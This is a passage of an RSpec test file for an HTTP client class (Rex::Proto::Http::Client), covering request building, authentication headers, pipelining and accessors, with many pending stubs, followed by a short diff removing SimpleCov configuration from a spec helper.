@cli.request_raw.should be_a_kind_of Rex::Proto::Http::Request
end
it "should produce a CGI HTTP request", :pending => "Waiting for PR #1500" do
@cli.request_cgi.should be_a_kind_of Rex::Proto::Http::Request
end
it "should attempt to connect to a server" do
this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1)
expect { this_cli.connect(1) }.to raise_error ::Rex::ConnectionRefused
end
it "should be able to close a connection" do
@cli.close.should be_nil
end
it "should send a request and receive a response", :pending => excuse_needs_connection do
end
it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection do
end
it "should send a request", :pending => excuse_needs_connection do
end
it "should test for credentials" do
# @cli.should_not have_creds
# this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1, {}, false, nil, nil, "user1", "pass1" )
# this_cli.should have_creds
pending "Should actually respond to :has_creds"
end
it "should send authentication", :pending => excuse_needs_connection
it "should produce a basic authentication header", :pending => "Waiting for #1500" do
u = "user1"
p = "pass1"
b64 = ["#{u}:#{p}"].pack("m*").strip
@cli.basic_auth_header("user1","pass1").should == "Basic #{b64}"
end
it "should perform digest authentication", :pending => excuse_needs_auth do
end
it "should perform negotiate authentication", :pending => excuse_needs_auth do
end
it "should get a response", :pending => excuse_needs_connection do
end
it "should end a connection with a stop" do
@cli.stop.should be_nil
end
it "should test if a connection is valid" do
@cli.conn?.should be_false
end
it "should tell if pipelining is enabled" do
@cli.pipelining?.should be_false
this_cli = Rex::Proto::Http::Client.new("127.0.0.1", 1)
this_cli.pipeline = true
this_cli.pipelining?.should be_true
end
it "should return an encoded URI", :pending => excuse_lazy(:set_encode_uri) do
end
it "should return an encoded query string", :pending => excuse_lazy(:set_encode_qa) do
end
# These set_ methods all exercise the evasion opts, looks like
it "should set and return the URI", :pending => excuse_lazy(:set_uri) do
end
it "should set and return the CGI", :pending => excuse_lazy(:set_cgi) do
end
it "should set and return the HTTP verb", :pending => excuse_lazy(:set_method) do
end
it "should set and return the version string", :pending => excuse_lazy(:set_version) do
end
it "should set and return the HTTP seperator and body string", :pending => excuse_lazy(:set_body) do
end
it "should set and return the path", :pending => excuse_lazy(:set_path_info) do
end
it "should set and return the whitespace between method and URI", :pending => excuse_lazy(:set_method_uri_spacer) do
end
it "should set and return the whitespace between the version and URI", :pending => excuse_lazy(:set_uri_version_spacer) do
end
it "should set and return padding before the URI", :pending => excuse_lazy(:set_uri_prepend) do
end
it "should set and return padding after the URI" do
@cli.set_uri_append.should be_empty
end
it "should set and return the host header", :pending => excuse_lazy(:set_host_header) do
end
it "should set and return the agent header", :pending => excuse_lazy(:set_agent_header) do
end
it "should set and return the cookie header", :pending => excuse_lazy(:set_cookie_header) do
end
it "should set and return the content-type header", :pending => excuse_lazy(:set_cookie_header) do
end
it "should set and return the content-length header", :pending => excuse_lazy(:set_content_len_header) do
end
it "should set and return the basic authentication header", :pending => excuse_lazy(:set_basic_auth_header) do
end
it "should set and return any extra headers", :pending => excuse_lazy(:set_extra_headers) do
end
it "should set the chunked encoding header", :pending => excuse_lazy(:set_chunked_header) do
end
it "should set and return raw_headers", :pending => "#set_raw_headers() doesn't seem to actually do anything" do
end
it "should set and return a formatted header", :pending => excuse_lazy(:set_formatted_header) do
end
it "should respond to its various accessors" do
@cli.should respond_to :config
@cli.should respond_to :config_types
@cli.should respond_to :pipeline
@cli.should respond_to :local_host
@cli.should respond_to :local_port
@cli.should respond_to :conn
@cli.should respond_to :context
@cli.should respond_to :proxies
# @cli.should respond_to :username
# @cli.should respond_to :password
@cli.should respond_to :junk_pipeline
# These are supposed to be protected
@cli.should respond_to :ssl
@cli.should respond_to :ssl_version
@cli.should respond_to :hostname
@cli.should respond_to :port
end
# Not super sure why these are protected...
it "should refuse access to its protected accessors" do
expect {@cli.ssl}.to raise_error NoMethodError
expect {@cli.ssl_version}.to raise_error NoMethodError
expect {@cli.hostname}.to raise_error NoMethodError
expect {@cli.port}.to raise_error NoMethodError
end
end

View File

@ -11,12 +11,6 @@ $LOAD_PATH.unshift(lib_pathname.to_s)
# must be first require and started before any other requires so that it can measure coverage of all following required
# code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov.
require 'simplecov'
# Ensure the coverage directory is always the same no matter where the individual spec is in the hierarchy when using
# Rubymine to run one spec.
#
# @see https://github.com/colszowka/simplecov/issues/95
SimpleCov.root(root_pathname)
SimpleCov.start
require 'rspec/core'